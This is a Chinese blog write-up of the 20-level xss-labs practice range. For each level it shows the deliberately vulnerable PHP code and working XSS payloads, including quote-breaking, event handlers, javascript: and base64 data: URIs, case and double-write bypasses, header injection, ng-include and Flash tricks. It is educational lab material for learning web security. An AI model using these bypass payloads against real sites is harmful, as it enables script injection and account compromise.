xss-lab靶场

目录

level1

 level2

 level3

level4

level5

level6

level7

level8

level9

level10

level11

level12

level13

level14

level15

level16

level17

level18

level19

level20


level1

查看源码,发现对用户的name输入没有过滤,并且如果成功alert会直接调到下一关我们直接传payload:<script>alert(1)</script>

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<h1 align=center>欢迎来到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

 level2

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<h1 align=center>欢迎来到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>
</body>
</html>

查看源码,发现有htmlspecialchars()函数,用法:

就是把字符串转换成一串编码,类似于JS编码转换和url编码转换。即可以利用这个函数把html标签转化为浏览器不能识别的字符,或者可以这么理解,利用这个函数转化以后,html标签就可以在浏览器原样输出了。

htmlspecialchars()函数,具有三个参数,第一个参数为必选参数,表示待处理的字符串,第二个参数为可选参数,专门针对字符串中的引号操作,默认值:ENT_COMPAT,只转换双引号。ENT_QUOTS,单引号和双引号同时转换。ENT_NOQUOTES,不对引号进行转换。第三个参数为处理字符串的指定字符集

htmlspecialchars()函数把一些预定义的字符转换为 HTML实体
预定义的字符是:
&(和号)–>&
" -->"
’ -->'
<(小于)–> <

 先用一下上一个题的payload,发现报错

再次查看源码发现,该函数对<>进行了过滤,但可以看到在value中并没有对<>进行编码过滤,于是我们可以在该处进行恶意代码的插入

 构造payload:

"><script>alert(1)</script>//
"> :对之间的双引号和<进行闭合
// :注释掉后面的双引号和>

 level3

先尝试上一关的payload,查看源码发现在输出和value处都对<>进行了编码过滤

 拜读了大佬的文章,可以用<input>标签的属性来执行即,构造如下payload:

'onfocus=javascript:alert('xss') > //

这时发现没有出现弹窗,原因如下:(这是我们只要点击一下输入框即可)

onfocus 事件的特殊性:
onfocus 事件在对象获得焦点时发生。

onfocus 通常用于 <input>, <select>, 和<a>.

当使用鼠标点击该输入框时输入框被选中可以,输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。

level4

先输入一般payload看源码,发现<>被过滤,并且在value中可以看到<>被过滤为空

 但我们依旧可以用上一关的payload(用不到<>),注意闭合方式即可

level5

依旧用弹窗代码测试一下,依旧过滤了<>,但value处只对第一个标签进行了过滤,发现最终为

<scr_ipt>

紧接着尝试上一关的payload,发现对onfocus事件也进行了过滤,参考了别人的思路,这里并没有过滤JavaScript字符,我们只需换一个标签即可,这里用:

?keyword="> <a href=javascript:alert('xss') > xss</a> //

 输入后点击链接即可出现弹窗

 查看一下后台代码

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<h1 align=center>欢迎来到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str3)."</h3>";
?>
</body>
</html>

1.将get方式传递到服务器端的keyword参数的值进行全小写的转换(strtolower),然后赋值给str变量。

2.通过str_replace()函数来破坏变量值中的敏感字符的语义。

3.通过htmlspecialchars()函数处理之后显示到网页上,

4.直接将进行敏感字符处理之后的变量值插入到<input>标签的value属性值中。

level6

进行一般流程的测试,查看源码,发现将上一关的herf也过滤了

接下来尝试大小写绕过:(成功绕过)

?keyword="> <a Href=javascript:alert('xss') > xss</a> //

 查看后端代码

并没有对大小写过滤,过滤了很多标签

拜读大佬文章学到的:

熟悉html的人都会知道在<img>标签中引用图片会用到一个属性就是src。正常的引用图

片就是将待引用图片的地址赋值给src属性。但是在js中如果src属性的值不正常或者无法

访问到时就可以触发一个onerror事件来执行js代码。

<img>标签代码:?name=<img src=111 onerror=alert('xss')>

同时这一关对data也进行了限制

现在一般有点XSS意识的管理员都懂得过滤javascript与script等关

键字。但是对于data的认识却并不多,也就很少有对它进行过滤的。

Data在我看来就是对字符进行编码的一种设定,比如如果在实际情况中

javascript、script等关键字被过滤掉了之后,可以用如下语句进行尝试

data:text/html;base64,PHNjcmlwdD5hbGVydCgieHNzIik8L3NjcmlwdD4=

level7

采用上一关的payload,发现这一关删除了script,herf,on等字符,并进行了大小写的限制

 接下来尝试双写绕过(有疑问,为何双写顺序不一样,即使出现了xss超链接,点击之后也无法出现弹窗)

payload:

?keyword="> <a hrhrefef=javascriscriptpt:alert('xss') > xss</a> //

level8

继续用上一关的payload进行测试,发现对script被插入了_破坏了语义

 因此我们可以用编码的方式对js代码编码

javascript:alert('xss')

level9

采用上一关的paylaod,发现说我们的链接不合法,参考了大佬文章,该处应该是对url地址做了匹配,只有正常的url地址才能插入href

借用payload(带有正常url地址的):

?keyword=javascript:alert('xss')http://www.baidu.com

可以看到成功插入,但是对script做了破坏语义的处理,采用了大小写绕过,并没有用

继续编码看看,刚执行的时候点击链接也不弹窗,又去看了看wp发现要在编码结尾处与后面百度网址之间加上//分隔才可以

查看后台源码,依旧是一些之前常见的过滤,有了对引号的过滤,如果字符串中没有http://将返回false

level10

先进行简单代码测试发现,这里的表单有三个隐藏的input标签,参考大佬的思路是,判断三个参数那个可以突破注入我们的恶意代码

 payload:

?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

 查看源码发现第三个参数可以突破,尝试注入恶意代码

?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

查看后台源码:过滤了<>等,将传参内容插入了第三个参数,

只能是将js代码插入到<input>标签的属性值中来执行而不能通过闭合<input>标签引入新的标签来触发xss了。

level11

?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"&t_ref=" type="text"

同上关构造payload,看那个参数可以突破,如下图看到第三个参数可以,但却被过滤了双引号而无法闭合

 我们直接bp修改,发现在referer处进行修改的话,该表单的input第四个参数会同步修改,于是我们在此处插入恶意代码

type="text" onclick="alert('xss')

可以按照如上方法放包,点击文本框即可

查看服务器代码,将http头传给了第四个参数

level12

进行简单的测试发现依旧是四个参数,不过看第四个发现是ua头,根据前几关的经验,估计是在UA头处插入恶意代码执行

可以看到两箭头处数值一样,继续构造恶意代码

 在ua头处添加:"type="text" οnclick="alert('xss')

level13

查看源代码,发现依旧是四个参数,思路同前几关,直接抓包看到cookie与表单第四个参数的值一样,直接对其进行恶意代码的注入,放包成功弹窗(这关是cookie)

level14

这关地址有问题了,但查看源码大概率是考察应该是通过修改iframe调用的文件来实现xss注入,

具体也不清楚了,可参考:xss-labs靶场-第十四关

level15

先测试查看网页源代码,发现传参进去的插入到了class中

知识:前面还有ng-include这样的字符。ng-includeangular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。

查看源代码

 src地址无法访问,普及一下ng-lnclude知识

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

参考大佬wp,既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件

构造代码:

?src='level1.php?name=<img src=1 onerror=alert(1)>'
//意思是包含了之前的level1的html文件,并且对其get传参注入xss代码,之后被ng-include包含,响应在level15关这一前端页面
因为这里参数值算是一个地址,所以需要添加引号。

但是level1.php不是一个php文件吗?

这里解释一下

这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参

数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的

html文件给包含进来的意思。

payload:成功弹窗

?src='level1.php?name=<img src=1 onerror=alert(1)>'

level16

简单测试一下,发现我们写入的内容插入到了center,并且script,/被过滤了,看一下源码

发现script,空格,/都被转换了,这样我们注入的内容便无法闭合,借鉴思路,我们采用不需要闭合的标签:img,并且用回车绕过空格过滤

payload:

?keyword=<img%0Asrc=”111”%0Aonerror=alert(‘xss’)>  //理论上可以,但不知为何我不行

?keyword=<img%0Asrc="1"%0Aonmouseover="alert(1)">  //这个可以,将鼠标移动到元素上即可

还有一些绕过标签,参考:XSS常见的触发标签

level17

首先看到页面有两个参数,先进行简单代码测试,插入到了embed标签中,我们先了解一下这是干啥的

总的来说<embed>标签就是引入一个swf文件到浏览器端,并且它的src属性值没

有添加引号,所以不用闭合,但这里需要用支出flash插件的浏览器才可以回显swf区域,大家可以下载,或者去后台修改引入的文件如:index.png,如下图

 接下来我们用事件来触发:

onclick=alert('xss')//这里不知为何我还是用不了点击事件

onmouseover=alert(1)//这个可以正常使用

level18

跟上一关一样,且payload还能用

?arg01=a&arg02=b onmouseover=alert(1)

level19

跟前几关差不多,但src加了双引号来闭合,但很明显有HTML实体化函数,我们无法闭合双引号,参考大佬的wpLevel 19 Flash XSSFlash XSS 漏洞详解

这关用到的是Flash Xss注入,其实就是往Flash里面插入一段js代码,然后手动执行嘛,构造payload 

?arg01=version&arg02=<a href="javascript:alert()">here</a>

level20

这一关同上一关一样有双引号,还是要flash插入js代码

?arg01=id&arg02=xss\"))}catch(e){alert(1)}//%26width=123%26height=123

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值